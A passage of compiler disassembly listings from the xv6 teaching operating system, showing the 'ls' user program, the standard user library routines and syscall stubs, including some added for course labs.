%esi,-0x2c(%ebp) 18af: 89 de mov %ebx,%esi 18b1: 8b 5d 08 mov 0x8(%ebp),%ebx 18b4: eb 1a jmp 18d0 <printf+0x1a0> s = "(null)"; 18b6: bb 48 19 00 00 mov $0x1948,%ebx while(*s != 0){ 18bb: 89 75 d4 mov %esi,-0x2c(%ebp) 18be: b8 28 00 00 00 mov $0x28,%eax 18c3: 89 de mov %ebx,%esi 18c5: 8b 5d 08 mov 0x8(%ebp),%ebx 18c8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 18cf: 90 nop write(fd, &c, 1); 18d0: 83 ec 04 sub $0x4,%esp s++; 18d3: 83 c6 01 add $0x1,%esi 18d6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 18d9: 6a 01 push $0x1 18db: 57 push %edi 18dc: 53 push %ebx 18dd: e8 db fc ff ff call 15bd <write> while(*s != 0){ 18e2: 0f b6 06 movzbl (%esi),%eax 18e5: 83 c4 10 add $0x10,%esp 18e8: 84 c0 test %al,%al 18ea: 75 e4 jne 18d0 <printf+0x1a0> 18ec: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 18ef: 31 d2 xor %edx,%edx 18f1: e9 8e fe ff ff jmp 1784 <printf+0x54>
_ls: file format elf32-i386 Disassembly of section .text: 00000000 <main>: close(fd); } int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 53 push %ebx int i; if(argc < 2){ 6: bb 01 00 00 00 mov $0x1,%ebx { b: 83 e4 f0 and $0xfffffff0,%esp e: 83 ec 10 sub $0x10,%esp 11: 8b 75 08 mov 0x8(%ebp),%esi 14: 8b 7d 0c mov 0xc(%ebp),%edi if(argc < 2){ 17: 83 fe 01 cmp $0x1,%esi 1a: 7e 22 jle 3e <main+0x3e> 1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ls("."); exit(0); //passing 0 into exit to show valid exit } for(i=1; i<argc; i++) ls(argv[i]); 20: 8b 04 9f mov (%edi,%ebx,4),%eax for(i=1; i<argc; i++) 23: 83 c3 01 add $0x1,%ebx ls(argv[i]); 26: 89 04 24 mov %eax,(%esp) 29: e8 d2 00 00 00 call 100 <ls> for(i=1; i<argc; i++) 2e: 39 f3 cmp %esi,%ebx 30: 75 ee jne 20 <main+0x20> exit(0); //passing 0 into exit to show valid exit 32: c7 04 24 00 00 00 00 movl $0x0,(%esp) 39: e8 74 05 00 00 call 5b2 <exit> ls("."); 3e: c7 04 24 be 0a 00 00 movl $0xabe,(%esp) 45: e8 b6 00 00 00 call 100 <ls> exit(0); //passing 0 into exit to show valid exit 4a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 51: e8 5c 05 00 00 call 5b2 <exit> 56: 66 90 xchg %ax,%ax 58: 66 90 xchg %ax,%ax 5a: 66 90 xchg %ax,%ax 5c: 66 90 xchg %ax,%ax 5e: 66 90 xchg %ax,%ax 00000060 <fmtname>: { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 56 push %esi 64: 53 push %ebx 65: 83 ec 10 sub $0x10,%esp 68: 8b 5d 08 mov 0x8(%ebp),%ebx for(p=path+strlen(path); p >= path && *p != '/'; p--) 6b: 89 1c 24 mov %ebx,(%esp) 6e: e8 9d 03 00 00 call 410 <strlen> 73: 01 d8 add %ebx,%eax 75: 73 10 jae 87 <fmtname+0x27> 77: eb 13 jmp 8c <fmtname+0x2c> 79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80: 83 e8 01 sub $0x1,%eax 83: 39 c3 cmp %eax,%ebx 85: 77 05 ja 8c <fmtname+0x2c> 87: 80 38 2f cmpb $0x2f,(%eax) 8a: 75 f4 jne 80 <fmtname+0x20> p++; 8c: 8d 58 01 lea 0x1(%eax),%ebx if(strlen(p) >= DIRSIZ) 8f: 89 1c 24 mov %ebx,(%esp) 92: e8 79 03 00 00 call 410 <strlen> 97: 83 f8 0d cmp $0xd,%eax 9a: 77 53 ja ef <fmtname+0x8f> memmove(buf, p, strlen(p)); 9c: 89 1c 24 mov %ebx,(%esp) 9f: e8 6c 03 00 00 call 410 <strlen> a4: 89 5c 24 04 mov %ebx,0x4(%esp) a8: c7 04 24 a8 0d 00 00 movl $0xda8,(%esp) af: 89 44 24 08 mov %eax,0x8(%esp) b3: e8 c8 04 00 00 call 580 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); b8: 89 1c 24 mov %ebx,(%esp) bb: e8 50 03 00 00 call 410 <strlen> c0: 89 1c 24 mov %ebx,(%esp) return buf; c3: bb a8 0d 00 00 mov $0xda8,%ebx memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); c8: 89 c6 mov %eax,%esi ca: e8 41 03 00 00 call 410 <strlen> cf: ba 0e 00 00 00 mov $0xe,%edx d4: 29 f2 sub %esi,%edx d6: 89 54 24 08 mov %edx,0x8(%esp) da: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp) e1: 00 e2: 05 a8 0d 00 00 add $0xda8,%eax e7: 89 04 24 mov %eax,(%esp) ea: e8 51 03 00 00 call 440 <memset> } ef: 83 c4 10 add $0x10,%esp f2: 89 d8 mov %ebx,%eax f4: 5b pop %ebx f5: 5e pop %esi f6: 5d pop %ebp f7: c3 ret f8: 90 nop f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000100 <ls>: { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 57 push %edi 104: 56 push %esi 105: 53 push %ebx 106: 81 ec 6c 02 00 00 sub $0x26c,%esp 10c: 8b 7d 08 mov 0x8(%ebp),%edi if((fd = open(path, 0)) < 0){ 10f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 116: 00 117: 89 3c 24 mov %edi,(%esp) 11a: e8 d3 04 00 00 call 5f2 <open> 11f: 85 c0 test %eax,%eax 121: 89 c3 mov %eax,%ebx 123: 0f 88 c7 01 00 00 js 2f0 <ls+0x1f0> if(fstat(fd, &st) < 0){ 129: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 12f: 89 74 24 04 mov %esi,0x4(%esp) 133: 89 04 24 mov %eax,(%esp) 136: e8 cf 04 00 00 call 60a <fstat> 13b: 85 c0 test %eax,%eax 13d: 0f 88 f5 01 00 00 js 338 <ls+0x238> switch(st.type){ 143: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax 14a: 66 83 f8 01 cmp $0x1,%ax 14e: 74 68 je 1b8 <ls+0xb8> 150: 66 83 f8 02 cmp $0x2,%ax 154: 75 48 jne 19e <ls+0x9e> printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 156: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 15c: 89 3c 24 mov %edi,(%esp) 15f: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 165: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 16b: e8 f0 fe ff ff call 60 <fmtname> 170: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 176: 89 74 24 10 mov %esi,0x10(%esp) 17a: c7 44 24 0c 02 00 00 movl $0x2,0xc(%esp) 181: 00 182: c7 44 24 04 9e 0a 00 movl $0xa9e,0x4(%esp) 189: 00 18a: 89 54 24 14 mov %edx,0x14(%esp) 18e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 195: 89 44 24 08 mov %eax,0x8(%esp) 199: e8 72 05 00 00 call 710 <printf> close(fd); 19e: 89 1c 24 mov %ebx,(%esp) 1a1: e8 34 04 00 00 call 5da <close> } 1a6: 81 c4 6c 02 00 00 add $0x26c,%esp 1ac: 5b pop %ebx 1ad: 5e pop %esi 1ae: 5f pop %edi 1af: 5d pop %ebp 1b0: c3 ret 1b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 1b8: 89 3c 24 mov %edi,(%esp) 1bb: e8 50 02 00 00 call 410 <strlen> 1c0: 83 c0 10 add $0x10,%eax 1c3: 3d 00 02 00 00 cmp $0x200,%eax 1c8: 0f 87 4a 01 00 00 ja 318 <ls+0x218> strcpy(buf, path); 1ce: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 1d4: 89 7c 24 04 mov %edi,0x4(%esp) 1d8: 8d bd c4 fd ff ff lea -0x23c(%ebp),%edi 1de: 89 04 24 mov %eax,(%esp) 1e1: e8 aa 01 00 00 call 390 <strcpy> p = buf+strlen(buf); 1e6: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 1ec: 89 04 24 mov %eax,(%esp) 1ef: e8 1c 02 00 00 call 410 <strlen> 1f4: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx 1fa: 01 c8 add %ecx,%eax *p++ = '/'; 1fc: 8d 48 01 lea 0x1(%eax),%ecx p = buf+strlen(buf); 1ff: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp) *p++ = '/'; 205: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp) 20b: c6 00 2f movb $0x2f,(%eax) 20e: 66 90 xchg %ax,%ax while(read(fd, &de, sizeof(de)) == sizeof(de)){ 210: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 217: 00 218: 89 7c 24 04 mov %edi,0x4(%esp) 21c: 89 1c 24 mov %ebx,(%esp) 21f: e8 a6 03 00 00 call 5ca <read> 224: 83 f8 10 cmp $0x10,%eax 227: 0f 85 71 ff ff ff jne 19e <ls+0x9e> if(de.inum == 0) 22d: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 234: 00 235: 74 d9 je 210 <ls+0x110> memmove(p, de.name, DIRSIZ); 237: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 23d: 89 44 24 04 mov %eax,0x4(%esp) 241: 8b 85 a4 fd ff ff mov -0x25c(%ebp),%eax 247: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 24e: 00 24f: 89 04 24 mov %eax,(%esp) 252: e8 29 03 00 00 call 580 <memmove> p[DIRSIZ] = 0; 257: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 25d: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 261: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 267: 89 74 24 04 mov %esi,0x4(%esp) 26b: 89 04 24 mov %eax,(%esp) 26e: e8 8d 02 00 00 call 500 <stat> 273: 85 c0 test %eax,%eax 275: 0f 88 e5 00 00 00 js 360 <ls+0x260> printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 27b: 0f bf 95 d4 fd ff ff movswl -0x22c(%ebp),%edx 282: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 288: 8b 85 dc fd ff ff mov -0x224(%ebp),%eax 28e: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 294: 8d 95 e8 fd ff ff lea -0x218(%ebp),%edx 29a: 89 14 24 mov %edx,(%esp) 29d: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 2a3: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 2a9: e8 b2 fd ff ff call 60 <fmtname> 2ae: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 2b4: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 2ba: c7 44 24 04 9e 0a 00 movl $0xa9e,0x4(%esp) 2c1: 00 2c2: c7 04 24 01 00 00 00 movl $0x1,(%esp) 2c9: 89 4c 24 14 mov %ecx,0x14(%esp) 2cd: 8b 8d b4 fd ff ff mov -0x24c(%ebp),%ecx 2d3: 89 54 24 0c mov %edx,0xc(%esp) 2d7: 89 44 24 08 mov %eax,0x8(%esp) 2db: 89 4c 24 10 mov %ecx,0x10(%esp) 2df: e8 2c 04 00 00 call 710 <printf> 2e4: e9 27 ff ff ff jmp 210 <ls+0x110> 2e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printf(2, "ls: cannot open %s\n", path); 2f0: 89 7c 24 08 mov %edi,0x8(%esp) 2f4: c7 44 24 04 76 0a 00 movl $0xa76,0x4(%esp) 2fb: 00 2fc: c7 04 24 02 00 00 00 movl $0x2,(%esp) 303: e8 08 04 00 00 call 710 <printf> } 308: 81 c4 6c 02 00 00 add $0x26c,%esp 30e: 5b pop %ebx 30f: 5e pop %esi 310: 5f pop %edi 311: 5d pop %ebp 312: c3 ret 313: 90 nop 314: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "ls: path too long\n"); 318: c7 44 24 04 ab 0a 00 movl $0xaab,0x4(%esp) 31f: 00 320: c7 04 24 01 00 00 00 movl $0x1,(%esp) 327: e8 e4 03 00 00 call 710 <printf> break; 32c: e9 6d fe ff ff jmp 19e <ls+0x9e> 331: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printf(2, "ls: cannot stat %s\n", path); 338: 89 7c 24 08 mov %edi,0x8(%esp) 33c: c7 44 24 04 8a 0a 00 movl $0xa8a,0x4(%esp) 343: 00 344: c7 04 24 02 00 00 00 movl $0x2,(%esp) 34b: e8 c0 03 00 00 call 710 <printf> close(fd); 350: 89 1c 24 mov %ebx,(%esp) 353: e8 82 02 00 00 call 5da <close> return; 358: e9 49 fe ff ff jmp 1a6 <ls+0xa6> 35d: 8d 76 00 lea 0x0(%esi),%esi printf(1, "ls: cannot stat %s\n", buf); 360: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 366: 89 44 24 08 mov %eax,0x8(%esp) 36a: c7 44 24 04 8a 0a 00 movl $0xa8a,0x4(%esp) 371: 00 372: c7 04 24 01 00 00 00 movl $0x1,(%esp) 379: e8 92 03 00 00 call 710 <printf> continue; 37e: e9 8d fe ff ff jmp 210 <ls+0x110> 383: 66 90 xchg %ax,%ax 385: 66 90 xchg %ax,%ax 387: 66 90 xchg %ax,%ax 389: 66 90 xchg %ax,%ax 38b: 66 90 xchg %ax,%ax 38d: 66 90 xchg %ax,%ax 38f: 90 nop 00000390 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 390: 55 push %ebp 391: 89 e5 mov %esp,%ebp 393: 8b 45 08 mov 0x8(%ebp),%eax 396: 8b 4d 0c mov 0xc(%ebp),%ecx 399: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 39a: 89 c2 mov %eax,%edx 39c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 3a0: 83 c1 01 add $0x1,%ecx 3a3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 3a7: 83 c2 01 add $0x1,%edx 3aa: 84 db test %bl,%bl 3ac: 88 5a ff mov %bl,-0x1(%edx) 3af: 75 ef jne 3a0 <strcpy+0x10> ; return os; } 3b1: 5b pop %ebx 3b2: 5d pop %ebp 3b3: c3 ret 3b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000003c0 <strcmp>: int strcmp(const char *p, const char *q) { 3c0: 55 push %ebp 3c1: 89 e5 mov %esp,%ebp 3c3: 8b 55 08 mov 0x8(%ebp),%edx 3c6: 53 push %ebx 3c7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 3ca: 0f b6 02 movzbl (%edx),%eax 3cd: 84 c0 test %al,%al 3cf: 74 2d je 3fe <strcmp+0x3e> 3d1: 0f b6 19 movzbl (%ecx),%ebx 3d4: 38 d8 cmp %bl,%al 3d6: 74 0e je 3e6 <strcmp+0x26> 3d8: eb 2b jmp 405 <strcmp+0x45> 3da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3e0: 38 c8 cmp %cl,%al 3e2: 75 15 jne 3f9 <strcmp+0x39> p++, q++; 3e4: 89 d9 mov %ebx,%ecx 3e6: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 3e9: 0f b6 02 movzbl (%edx),%eax p++, q++; 3ec: 8d 59 01 lea 0x1(%ecx),%ebx while(*p && *p == *q) 3ef: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 3f3: 84 c0 test %al,%al 3f5: 75 e9 jne 3e0 <strcmp+0x20> 3f7: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 3f9: 29 c8 sub %ecx,%eax } 3fb: 5b pop %ebx 3fc: 5d pop %ebp 3fd: c3 ret 3fe: 0f b6 09 movzbl (%ecx),%ecx while(*p && *p == *q) 401: 31 c0 xor %eax,%eax 403: eb f4 jmp 3f9 <strcmp+0x39> 405: 0f b6 cb movzbl %bl,%ecx 408: eb ef jmp 3f9 <strcmp+0x39> 40a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000410 <strlen>: uint strlen(const char *s) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 416: 80 39 00 cmpb $0x0,(%ecx) 419: 74 12 je 42d <strlen+0x1d> 41b: 31 d2 xor %edx,%edx 41d: 8d 76 00 lea 0x0(%esi),%esi 420: 83 c2 01 add $0x1,%edx 423: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 427: 89 d0 mov %edx,%eax 429: 75 f5 jne 420 <strlen+0x10> ; return n; } 42b: 5d pop %ebp 42c: c3 ret for(n = 0; s[n]; n++) 42d: 31 c0 xor %eax,%eax } 42f: 5d pop %ebp 430: c3 ret 431: eb 0d jmp 440 <memset> 433: 90 nop 434: 90 nop 435: 90 nop 436: 90 nop 437: 90 nop 438: 90 nop 439: 90 nop 43a: 90 nop 43b: 90 nop 43c: 90 nop 43d: 90 nop 43e: 90 nop 43f: 90 nop 00000440 <memset>: void* memset(void *dst, int c, uint n) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 8b 55 08 mov 0x8(%ebp),%edx 446: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 447: 8b 4d 10 mov 0x10(%ebp),%ecx 44a: 8b 45 0c mov 0xc(%ebp),%eax 44d: 89 d7 mov %edx,%edi 44f: fc cld 450: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 452: 89 d0 mov %edx,%eax 454: 5f pop %edi 455: 5d pop %ebp 456: c3 ret 457: 89 f6 mov %esi,%esi 459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000460 <strchr>: char* strchr(const char *s, char c) { 460: 55 push %ebp 461: 89 e5 mov %esp,%ebp 463: 8b 45 08 mov 0x8(%ebp),%eax 466: 53 push %ebx 467: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 46a: 0f b6 18 movzbl (%eax),%ebx 46d: 84 db test %bl,%bl 46f: 74 1d je 48e <strchr+0x2e> if(*s == c) 471: 38 d3 cmp %dl,%bl 473: 89 d1 mov %edx,%ecx 475: 75 0d jne 484 <strchr+0x24> 477: eb 17 jmp 490 <strchr+0x30> 479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 480: 38 ca cmp %cl,%dl 482: 74 0c je 490 <strchr+0x30> for(; *s; s++) 484: 83 c0 01 add $0x1,%eax 487: 0f b6 10 movzbl (%eax),%edx 48a: 84 d2 test %dl,%dl 48c: 75 f2 jne 480 <strchr+0x20> return (char*)s; return 0; 48e: 31 c0 xor %eax,%eax } 490: 5b pop %ebx 491: 5d pop %ebp 492: c3 ret 493: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000004a0 <gets>: char* gets(char *buf, int max) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 4a5: 31 f6 xor %esi,%esi { 4a7: 53 push %ebx 4a8: 83 ec 2c sub $0x2c,%esp cc = read(0, &c, 1); 4ab: 8d 7d e7 lea -0x19(%ebp),%edi for(i=0; i+1 < max; ){ 4ae: eb 31 jmp 4e1 <gets+0x41> cc = read(0, &c, 1); 4b0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4b7: 00 4b8: 89 7c 24 04 mov %edi,0x4(%esp) 4bc: c7 04 24 00 00 00 00 movl $0x0,(%esp) 4c3: e8 02 01 00 00 call 5ca <read> if(cc < 1) 4c8: 85 c0 test %eax,%eax 4ca: 7e 1d jle 4e9 <gets+0x49> break; buf[i++] = c; 4cc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax for(i=0; i+1 < max; ){ 4d0: 89 de mov %ebx,%esi buf[i++] = c; 4d2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 4d5: 3c 0d cmp $0xd,%al buf[i++] = c; 4d7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 4db: 74 0c je 4e9 <gets+0x49> 4dd: 3c 0a cmp $0xa,%al 4df: 74 08 je 4e9 <gets+0x49> for(i=0; i+1 < max; ){ 4e1: 8d 5e 01 lea 0x1(%esi),%ebx 4e4: 3b 5d 0c cmp 0xc(%ebp),%ebx 4e7: 7c c7 jl 4b0 <gets+0x10> break; } buf[i] = '\0'; 4e9: 8b 45 08 mov 0x8(%ebp),%eax 4ec: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 4f0: 83 c4 2c add $0x2c,%esp 4f3: 5b pop %ebx 4f4: 5e pop %esi 4f5: 5f pop %edi 4f6: 5d pop %ebp 4f7: c3 ret 4f8: 90 nop 4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000500 <stat>: int stat(const char *n, struct stat *st) { 500: 55 push %ebp 501: 89 e5 mov %esp,%ebp 503: 56 push %esi 504: 53 push %ebx 505: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 508: 8b 45 08 mov 0x8(%ebp),%eax 50b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 512: 00 513: 89 04 24 mov %eax,(%esp) 516: e8 d7 00 00 00 call 5f2 <open> if(fd < 0) 51b: 85 c0 test %eax,%eax fd = open(n, O_RDONLY); 51d: 89 c3 mov %eax,%ebx if(fd < 0) 51f: 78 27 js 548 <stat+0x48> return -1; r = fstat(fd, st); 521: 8b 45 0c mov 0xc(%ebp),%eax 524: 89 1c 24 mov %ebx,(%esp) 527: 89 44 24 04 mov %eax,0x4(%esp) 52b: e8 da 00 00 00 call 60a <fstat> close(fd); 530: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 533: 89 c6 mov %eax,%esi close(fd); 535: e8 a0 00 00 00 call 5da <close> return r; 53a: 89 f0 mov %esi,%eax } 53c: 83 c4 10 add $0x10,%esp 53f: 5b pop %ebx 540: 5e pop %esi 541: 5d pop %ebp 542: c3 ret 543: 90 nop 544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 548: b8 ff ff ff ff mov $0xffffffff,%eax 54d: eb ed jmp 53c <stat+0x3c> 54f: 90 nop 00000550 <atoi>: int atoi(const char *s) { 550: 55 push %ebp 551: 89 e5 mov %esp,%ebp 553: 8b 4d 08 mov 0x8(%ebp),%ecx 556: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 557: 0f be 11 movsbl (%ecx),%edx 55a: 8d 42 d0 lea -0x30(%edx),%eax 55d: 3c 09 cmp $0x9,%al n = 0; 55f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 564: 77 17 ja 57d <atoi+0x2d> 566: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 568: 83 c1 01 add $0x1,%ecx 56b: 8d 04 80 lea (%eax,%eax,4),%eax 56e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 572: 0f be 11 movsbl (%ecx),%edx 575: 8d 5a d0 lea -0x30(%edx),%ebx 578: 80 fb 09 cmp $0x9,%bl 57b: 76 eb jbe 568 <atoi+0x18> return n; } 57d: 5b pop %ebx 57e: 5d pop %ebp 57f: c3 ret 00000580 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 580: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 581: 31 d2 xor %edx,%edx { 583: 89 e5 mov %esp,%ebp 585: 56 push %esi 586: 8b 45 08 mov 0x8(%ebp),%eax 589: 53 push %ebx 58a: 8b 5d 10 mov 0x10(%ebp),%ebx 58d: 8b 75 0c mov 0xc(%ebp),%esi while(n-- > 0) 590: 85 db test %ebx,%ebx 592: 7e 12 jle 5a6 <memmove+0x26> 594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 598: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 59c: 88 0c 10 mov %cl,(%eax,%edx,1) 59f: 83 c2 01 add $0x1,%edx while(n-- > 0) 5a2: 39 da cmp %ebx,%edx 5a4: 75 f2 jne 598 <memmove+0x18> return vdst; } 5a6: 5b pop %ebx 5a7: 5e pop %esi 5a8: 5d pop %ebp 5a9: c3 ret 000005aa <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 5aa: b8 01 00 00 00 mov $0x1,%eax 5af: cd 40 int $0x40 5b1: c3 ret 000005b2 <exit>: SYSCALL(exit) 5b2: b8 02 00 00 00 mov $0x2,%eax 5b7: cd 40 int $0x40 5b9: c3 ret 000005ba <wait>: SYSCALL(wait) 5ba: b8 03 00 00 00 mov $0x3,%eax 5bf: cd 40 int $0x40 5c1: c3 ret 000005c2 <pipe>: SYSCALL(pipe) 5c2: b8 04 00 00 00 mov $0x4,%eax 5c7: cd 40 int $0x40 5c9: c3 ret 000005ca <read>: SYSCALL(read) 5ca: b8 05 00 00 00 mov $0x5,%eax 5cf: cd 40 int $0x40 5d1: c3 ret 000005d2 <write>: SYSCALL(write) 5d2: b8 10 00 00 00 mov $0x10,%eax 5d7: cd 40 int $0x40 5d9: c3 ret 000005da <close>: SYSCALL(close) 5da: b8 15 00 00 00 mov $0x15,%eax 5df: cd 40 int $0x40 5e1: c3 ret 000005e2 <kill>: SYSCALL(kill) 5e2: b8 06 00 00 00 mov $0x6,%eax 5e7: cd 40 int $0x40 5e9: c3 ret 000005ea <exec>: SYSCALL(exec) 5ea: b8 07 00 00 00 mov $0x7,%eax 5ef: cd 40 int $0x40 5f1: c3 ret 000005f2 <open>: SYSCALL(open) 5f2: b8 0f 00 00 00 mov $0xf,%eax 5f7: cd 40 int $0x40 5f9: c3 ret 000005fa <mknod>: SYSCALL(mknod) 5fa: b8 11 00 00 00 mov $0x11,%eax 5ff: cd 40 int $0x40 601: c3 ret 00000602 <unlink>: SYSCALL(unlink) 602: b8 12 00 00 00 mov $0x12,%eax 607: cd 40 int $0x40 609: c3 ret 0000060a <fstat>: SYSCALL(fstat) 60a: b8 08 00 00 00 mov $0x8,%eax 60f: cd 40 int $0x40 611: c3 ret 00000612 <link>: SYSCALL(link) 612: b8 13 00 00 00 mov $0x13,%eax 617: cd 40 int $0x40 619: c3 ret 0000061a <mkdir>: SYSCALL(mkdir) 61a: b8 14 00 00 00 mov $0x14,%eax 61f: cd 40 int $0x40 621: c3 ret 00000622 <chdir>: SYSCALL(chdir) 622: b8 09 00 00 00 mov $0x9,%eax 627: cd 40 int $0x40 629: c3 ret 0000062a <dup>: SYSCALL(dup) 62a: b8 0a 00 00 00 mov $0xa,%eax 62f: cd 40 int $0x40 631: c3 ret 00000632 <getpid>: SYSCALL(getpid) 632: b8 0b 00 00 00 mov $0xb,%eax 637: cd 40 int $0x40 639: c3 ret 0000063a <sbrk>: SYSCALL(sbrk) 63a: b8 0c 00 00 00 mov $0xc,%eax 63f: cd 40 int $0x40 641: c3 ret 00000642 <sleep>: SYSCALL(sleep) 642: b8 0d 00 00 00 mov $0xd,%eax 647: cd 40 int $0x40 649: c3 ret 0000064a <uptime>: SYSCALL(uptime) 64a: b8 0e 00 00 00 mov $0xe,%eax 64f: cd 40 int $0x40 651: c3 ret 00000652 <hello>: SYSCALL(hello) //new for lab1 652: b8 16 00 00 00 mov $0x16,%eax 657: cd 40 int $0x40 659: c3 ret 0000065a <waitpid>: SYSCALL(waitpid) //new for lab1 65a: b8 17 00 00 00 mov $0x17,%eax 65f: cd 40 int $0x40 661: c3 ret 00000662 <set_prior>: SYSCALL(set_prior) //new for lab2 662: b8 18 00 00 00 mov $0x18,%eax 667: cd 40 int $0x40 669: c3 ret 66a: 66 90 xchg %ax,%ax 66c: 66 90 xchg %ax,%ax 66e: 66 90 xchg %ax,%ax 00000670 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 670: 55 push %ebp 671: 89 e5 mov %esp,%ebp 673: 57 push %edi 674: 56 push %esi 675: 89 c6 mov %eax,%esi 677: 53 push %ebx 678: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 67b: 8b 5d 08 mov 0x8(%ebp),%ebx 67e: 85 db test %ebx,%ebx 680: 74 09 je 68b <printint+0x1b> 682: 89 d0 mov %edx,%eax 684: c1 e8 1f shr $0x1f,%eax 687: 84 c0 test %al,%al 689: 75 75 jne 700 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 68b: 89 d0 mov %edx,%eax neg = 0; 68d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 694: 89 75 c0 mov %esi,-0x40(%ebp) } i = 0; 697: 31 ff xor %edi,%edi 699: 89 ce mov %ecx,%esi 69b: 8d 5d d7 lea -0x29(%ebp),%ebx 69e: eb 02 jmp 6a2 <printint+0x32> do{ buf[i++] = digits[x % base]; 6a0: 89 